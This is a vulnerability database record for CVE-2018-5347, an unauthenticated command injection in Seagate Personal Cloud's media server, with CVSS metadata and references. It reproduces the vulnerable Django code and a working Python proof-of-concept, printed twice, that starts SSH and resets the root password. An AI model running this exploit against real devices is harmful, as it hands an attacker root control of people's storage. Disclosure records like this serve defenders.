VAR-201801-1503
Vulnerability from variot - Updated: 2024-11-23 22:52Seagate Media Server in Seagate Personal Cloud has unauthenticated command injection in the uploadTelemetry and getLogs functions in views.py because .psp URLs are handled by the fastcgi.server component and shell metacharacters are mishandled. SeagatePersonalCloud is a personal cloud storage device from Seagate, USA. SeagateMediaServer is one of the media servers. An attacker could exploit this vulnerability to execute arbitrary commands with root privileges.
Seagate Personal Cloud Home Media Storage is athe easiest way to store, organize, stream and share all your music, movies, photos, and important documents.a
Credit
An independent security researcher, Yorick Koster, has reported this vulnerability to Beyond Securityas SecuriTeam Secure Disclosure program
Vendor response
Seagate was informed of the vulnerability on October 16, but while acknowledging the receipt of the vulnerability information, refused to respond to the technical claims, to give a fix timeline or coordinate an advisory
Vulnerabilities details
Seagate Media Server uses Django web framework and is mapped to the .psp extension.
Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol. /etc/lighttpd/conf.d/django-host.conf:
fastcgi.server += (
".psp"=>
((
"socket" => "/var/run/manage_py-fastcgi.socket",
"check-local" => "disable",
"stream-post" => "enable",
"allow-x-send-file" => "enable",
)),
".psp/"=>
((
"socket" => "/var/run/manage_py-fastcgi.socket",
"check-local" => "disable",
"stream-post" => "enable",
"allow-x-send-file" => "enable",
))
)
URLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py.
Two views were found to be affected by unauthenticated command injection.
The affected views are:
- uploadTelemetry
- getLogs
These views takes user input from GET parameters and pass these unvalidated/unsanitized to methods of the commands Python module.
/usr/lib/django_host/seagate_media_server/views.py:
@csrf_exempt
def uploadTelemetry(request):
ts = request.GET.get('TimeStamp','')
if (checkDBSQLite()) :
response = '{"stat":"failed","code":"80","message":"The Database has not been initialized or mounted yet!"}'
else :
if ts == "":
response = '{"stat":"failed","code":"380","message":"TimeStamp parameter missing"}'
return HttpResponse(response);
cmd = "/usr/local/bin/log_telemetry "+str(ts)
commands.getoutput(cmd)
return HttpResponse('{"stat":"ok"}')
/usr/lib/django_host/seagate_media_server/views.py:
@csrf_exempt
def getLogs (request):
try:
cmd_base='/usr/bin/log-extract-manager.sh'
uID = request.GET.get ( 'arch_id', None )
time_stamp = request.GET.get ( 'time_stamp', '' )
if uID:
(status, output) = commands.getstatusoutput(cmd_base + ' status ' + uID);
if ('In progress' in output) and (uID in output) :
return HttpResponse ('{"stat":"ok", "data": {"status":"In Progress"}}')
elif (status == 0) :
return HttpResponse ('{"stat":"ok", "data": {"url":"%s", "fileSize":"%d"}}' % ( urllib.quote(output.encode('utf-8')), os.path.getsize(output) ))
else :
return HttpResponse ('{"stat":"failed", "code":"853","message":"Id not recognized."}' )
else:
(status, output) = commands.getstatusoutput(cmd_base + ' start ' + time_stamp);
if (status == 0) :
return HttpResponse ('{"stat":"ok", "data": {"archiveID":"%s"}}' % (output))
return HttpResponse ('{"stat":"failed", "code":"852","message":"Zip file not created."}' )
except :
return HttpResponse ('{"stat":"failed", "code":"852","message":"Zip file not created."}' )
Note that both views contain the csrf_exempt decorator, which disables the default Cross-Site Request Forgery protection of Django. As such, these issues can be exploited via Cross-Site Request Forgery.
Proof of Concept
The following proof of concept will try to enable the SSH service, and change the root password. When successful it will be possible to log into the device over SSH with the new password.
#!/usr/bin/env python
import os
import urllib
scheme = 'http'
host = 'personalcloud.local'
port = '80'
path = 'uploadTelemetry.psp'
querystr = 'TimeStamp=%3b'
#path = 'getLogs.psp'
#querystr = 'time_stamp=%3b'
password = 'Welcome01'
cmds = ['ngc --start sshd 2>&1',
'echo -e "%(s)s\n%(s)s"|passwd 2>&1' % {'s' : password}]
for cmd in cmds:
print 'Running command', repr(cmd)
cmd = urllib.quote_plus(cmd)
r = urllib.urlopen('%s://%s:%s/%s?%s%s' % (scheme, host, port, path, querystr, cmd))
print r.read()
print 'Log in with', password
os.system('ssh -p 2222 root@%s' % host)
Show details on source website
{
"affected_products": {
"_id": null,
"data": [
{
"_id": null,
"model": "personal cloud",
"scope": "eq",
"trust": 1.0,
"vendor": "seagate",
"version": null
},
{
"_id": null,
"model": "personal cloud",
"scope": null,
"trust": 0.8,
"vendor": "seagate",
"version": null
},
{
"_id": null,
"model": "technology personal cloud",
"scope": null,
"trust": 0.6,
"vendor": "seagate",
"version": null
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-04347"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-001653"
},
{
"db": "NVD",
"id": "CVE-2018-5347"
}
]
},
"configurations": {
"_id": null,
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/o:seagate:personal_cloud_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-001653"
}
]
},
"credits": {
"_id": null,
"data": "Yorick Koster",
"sources": [
{
"db": "PACKETSTORM",
"id": "145932"
}
],
"trust": 0.1
},
"cve": "CVE-2018-5347",
"cvss": {
"_id": null,
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CVE-2018-5347",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.9,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "CNVD-2018-04347",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "COMPLETE",
"baseScore": 10.0,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 10.0,
"id": "VHN-135378",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2018-5347",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-5347",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2018-5347",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNVD",
"id": "CNVD-2018-04347",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201801-562",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-135378",
"trust": 0.1,
"value": "HIGH"
},
{
"author": "VULMON",
"id": "CVE-2018-5347",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-04347"
},
{
"db": "VULHUB",
"id": "VHN-135378"
},
{
"db": "VULMON",
"id": "CVE-2018-5347"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-001653"
},
{
"db": "CNNVD",
"id": "CNNVD-201801-562"
},
{
"db": "NVD",
"id": "CVE-2018-5347"
}
]
},
"description": {
"_id": null,
"data": "Seagate Media Server in Seagate Personal Cloud has unauthenticated command injection in the uploadTelemetry and getLogs functions in views.py because .psp URLs are handled by the fastcgi.server component and shell metacharacters are mishandled. SeagatePersonalCloud is a personal cloud storage device from Seagate, USA. SeagateMediaServer is one of the media servers. An attacker could exploit this vulnerability to execute arbitrary commands with root privileges. \n \nSeagate Personal Cloud Home Media Storage is athe easiest way to store, organize, stream and share all your music, movies, photos, and important documents.a\n \n## Credit\nAn independent security researcher, Yorick Koster, has reported this vulnerability to Beyond Securityas SecuriTeam Secure Disclosure program\n \n## Vendor response\nSeagate was informed of the vulnerability on October 16, but while acknowledging the receipt of the vulnerability information, refused to respond to the technical claims, to give a fix timeline or coordinate an advisory\n \n## Vulnerabilities details\nSeagate Media Server uses Django web framework and is mapped to the .psp extension. \n \nAny URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol. \n/etc/lighttpd/conf.d/django-host.conf:\n \n \n```\nfastcgi.server += (\n\".psp\"=\u003e\n ((\n \"socket\" =\u003e \"/var/run/manage_py-fastcgi.socket\",\n \"check-local\" =\u003e \"disable\",\n \"stream-post\" =\u003e \"enable\",\n \"allow-x-send-file\" =\u003e \"enable\",\n )),\n\".psp/\"=\u003e\n ((\n \"socket\" =\u003e \"/var/run/manage_py-fastcgi.socket\",\n \"check-local\" =\u003e \"disable\",\n \"stream-post\" =\u003e \"enable\",\n \"allow-x-send-file\" =\u003e \"enable\",\n ))\n)\n```\n \n \nURLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py. \n \nTwo views were found to be affected by unauthenticated command injection. \n \nThe affected views are:\n \n- uploadTelemetry\n- getLogs\n \nThese views takes user input from GET parameters and pass these unvalidated/unsanitized to methods of the commands Python module. \n \n/usr/lib/django_host/seagate_media_server/views.py:\n \n \n```\n@csrf_exempt\ndef uploadTelemetry(request):\n ts = request.GET.get(\u0027TimeStamp\u0027,\u0027\u0027)\n if (checkDBSQLite()) :\n response = \u0027{\"stat\":\"failed\",\"code\":\"80\",\"message\":\"The Database has not been initialized or mounted yet!\"}\u0027\n else :\n if ts == \"\":\n response = \u0027{\"stat\":\"failed\",\"code\":\"380\",\"message\":\"TimeStamp parameter missing\"}\u0027\n return HttpResponse(response);\n cmd = \"/usr/local/bin/log_telemetry \"+str(ts)\n commands.getoutput(cmd)\n return HttpResponse(\u0027{\"stat\":\"ok\"}\u0027)\n```\n \n \n/usr/lib/django_host/seagate_media_server/views.py:\n \n \n```\n@csrf_exempt\ndef getLogs (request):\n try:\n cmd_base=\u0027/usr/bin/log-extract-manager.sh\u0027\n uID = request.GET.get ( \u0027arch_id\u0027, None )\n time_stamp = request.GET.get ( \u0027time_stamp\u0027, \u0027\u0027 )\n \n if uID:\n (status, output) = commands.getstatusoutput(cmd_base + \u0027 status \u0027 + uID);\n if (\u0027In progress\u0027 in output) and (uID in output) :\n return HttpResponse (\u0027{\"stat\":\"ok\", \"data\": {\"status\":\"In Progress\"}}\u0027)\n elif (status == 0) :\n return HttpResponse (\u0027{\"stat\":\"ok\", \"data\": {\"url\":\"%s\", \"fileSize\":\"%d\"}}\u0027 % ( urllib.quote(output.encode(\u0027utf-8\u0027)), os.path.getsize(output) ))\n else :\n return HttpResponse (\u0027{\"stat\":\"failed\", \"code\":\"853\",\"message\":\"Id not recognized.\"}\u0027 )\n else:\n (status, output) = commands.getstatusoutput(cmd_base + \u0027 start \u0027 + time_stamp);\n if (status == 0) :\n return HttpResponse (\u0027{\"stat\":\"ok\", \"data\": {\"archiveID\":\"%s\"}}\u0027 % (output))\n \n return HttpResponse (\u0027{\"stat\":\"failed\", \"code\":\"852\",\"message\":\"Zip file not created.\"}\u0027 )\n except :\n return HttpResponse (\u0027{\"stat\":\"failed\", \"code\":\"852\",\"message\":\"Zip file not created.\"}\u0027 )\n```\n \n \nNote that both views contain the csrf_exempt decorator, which disables the default Cross-Site Request Forgery protection of Django. As such, these issues can be exploited via Cross-Site Request Forgery. \n \n### Proof of Concept\nThe following proof of concept will try to enable the SSH service, and change the root password. When successful it will be possible to log into the device over SSH with the new password. \n \n \n```\n#!/usr/bin/env python\nimport os\nimport urllib\n \nscheme = \u0027http\u0027\nhost = \u0027personalcloud.local\u0027\nport = \u002780\u0027\npath = \u0027uploadTelemetry.psp\u0027\nquerystr = \u0027TimeStamp=%3b\u0027\n#path = \u0027getLogs.psp\u0027\n#querystr = \u0027time_stamp=%3b\u0027\npassword = \u0027Welcome01\u0027\n \ncmds = [\u0027ngc --start sshd 2\u003e\u00261\u0027,\n \u0027echo -e \"%(s)s\\n%(s)s\"|passwd 2\u003e\u00261\u0027 % {\u0027s\u0027 : password}]\n \nfor cmd in cmds:\n print \u0027Running command\u0027, repr(cmd)\n cmd = urllib.quote_plus(cmd)\n r = urllib.urlopen(\u0027%s://%s:%s/%s?%s%s\u0027 % (scheme, host, port, path, querystr, cmd))\n print r.read()\n \nprint \u0027Log in with\u0027, password\nos.system(\u0027ssh -p 2222 root@%s\u0027 % host)\n```\n\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2018-5347"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-001653"
},
{
"db": "CNVD",
"id": "CNVD-2018-04347"
},
{
"db": "VULHUB",
"id": "VHN-135378"
},
{
"db": "VULMON",
"id": "CVE-2018-5347"
},
{
"db": "PACKETSTORM",
"id": "145932"
}
],
"trust": 2.43
},
"exploit_availability": {
"_id": null,
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-135378",
"trust": 0.1,
"type": "unknown"
},
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=43659",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-135378"
},
{
"db": "VULMON",
"id": "CVE-2018-5347"
}
]
},
"external_ids": {
"_id": null,
"data": [
{
"db": "NVD",
"id": "CVE-2018-5347",
"trust": 3.3
},
{
"db": "EXPLOIT-DB",
"id": "43659",
"trust": 2.4
},
{
"db": "JVNDB",
"id": "JVNDB-2018-001653",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201801-562",
"trust": 0.7
},
{
"db": "CNVD",
"id": "CNVD-2018-04347",
"trust": 0.6
},
{
"db": "PACKETSTORM",
"id": "145932",
"trust": 0.2
},
{
"db": "SEEBUG",
"id": "SSVID-97283",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-135378",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2018-5347",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-04347"
},
{
"db": "VULHUB",
"id": "VHN-135378"
},
{
"db": "VULMON",
"id": "CVE-2018-5347"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-001653"
},
{
"db": "PACKETSTORM",
"id": "145932"
},
{
"db": "CNNVD",
"id": "CNNVD-201801-562"
},
{
"db": "NVD",
"id": "CVE-2018-5347"
}
]
},
"id": "VAR-201801-1503",
"iot": {
"_id": null,
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-04347"
},
{
"db": "VULHUB",
"id": "VHN-135378"
}
],
"trust": 1.2999999999999998
},
"iot_taxonomy": {
"_id": null,
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-04347"
}
]
},
"last_update_date": "2024-11-23T22:52:13.364000Z",
"patch": {
"_id": null,
"data": [
{
"title": "Personal Cloud",
"trust": 0.8,
"url": "https://www.seagate.com/jp/ja/consumer/backup/personal-cloud/"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-001653"
}
]
},
"problemtype_data": {
"_id": null,
"data": [
{
"problemtype": "CWE-78",
"trust": 1.1
},
{
"problemtype": "CWE-77",
"trust": 0.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-135378"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-001653"
},
{
"db": "NVD",
"id": "CVE-2018-5347"
}
]
},
"references": {
"_id": null,
"data": [
{
"trust": 3.2,
"url": "https://blogs.securiteam.com/index.php/archives/3548"
},
{
"trust": 2.5,
"url": "https://www.exploit-db.com/exploits/43659/"
},
{
"trust": 0.9,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-5347"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-5347"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/78.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-04347"
},
{
"db": "VULHUB",
"id": "VHN-135378"
},
{
"db": "VULMON",
"id": "CVE-2018-5347"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-001653"
},
{
"db": "PACKETSTORM",
"id": "145932"
},
{
"db": "CNNVD",
"id": "CNNVD-201801-562"
},
{
"db": "NVD",
"id": "CVE-2018-5347"
}
]
},
"sources": {
"_id": null,
"data": [
{
"db": "CNVD",
"id": "CNVD-2018-04347",
"ident": null
},
{
"db": "VULHUB",
"id": "VHN-135378",
"ident": null
},
{
"db": "VULMON",
"id": "CVE-2018-5347",
"ident": null
},
{
"db": "JVNDB",
"id": "JVNDB-2018-001653",
"ident": null
},
{
"db": "PACKETSTORM",
"id": "145932",
"ident": null
},
{
"db": "CNNVD",
"id": "CNNVD-201801-562",
"ident": null
},
{
"db": "NVD",
"id": "CVE-2018-5347",
"ident": null
}
]
},
"sources_release_date": {
"_id": null,
"data": [
{
"date": "2018-03-06T00:00:00",
"db": "CNVD",
"id": "CNVD-2018-04347",
"ident": null
},
{
"date": "2018-01-12T00:00:00",
"db": "VULHUB",
"id": "VHN-135378",
"ident": null
},
{
"date": "2018-01-12T00:00:00",
"db": "VULMON",
"id": "CVE-2018-5347",
"ident": null
},
{
"date": "2018-02-28T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-001653",
"ident": null
},
{
"date": "2018-01-16T18:02:22",
"db": "PACKETSTORM",
"id": "145932",
"ident": null
},
{
"date": "2018-01-16T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201801-562",
"ident": null
},
{
"date": "2018-01-12T01:29:00.200000",
"db": "NVD",
"id": "CVE-2018-5347",
"ident": null
}
]
},
"sources_update_date": {
"_id": null,
"data": [
{
"date": "2018-03-06T00:00:00",
"db": "CNVD",
"id": "CNVD-2018-04347",
"ident": null
},
{
"date": "2019-10-03T00:00:00",
"db": "VULHUB",
"id": "VHN-135378",
"ident": null
},
{
"date": "2019-10-03T00:00:00",
"db": "VULMON",
"id": "CVE-2018-5347",
"ident": null
},
{
"date": "2018-02-28T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-001653",
"ident": null
},
{
"date": "2019-10-23T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201801-562",
"ident": null
},
{
"date": "2024-11-21T04:08:37.910000",
"db": "NVD",
"id": "CVE-2018-5347",
"ident": null
}
]
},
"threat_type": {
"_id": null,
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201801-562"
}
],
"trust": 0.6
},
"title": {
"_id": null,
"data": "Seagate Personal Cloud Seagate Media Server Command Injection Vulnerability",
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-04347"
},
{
"db": "CNNVD",
"id": "CNNVD-201801-562"
}
],
"trust": 1.2
},
"type": {
"_id": null,
"data": "operating system commend injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201801-562"
}
],
"trust": 0.6
}
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.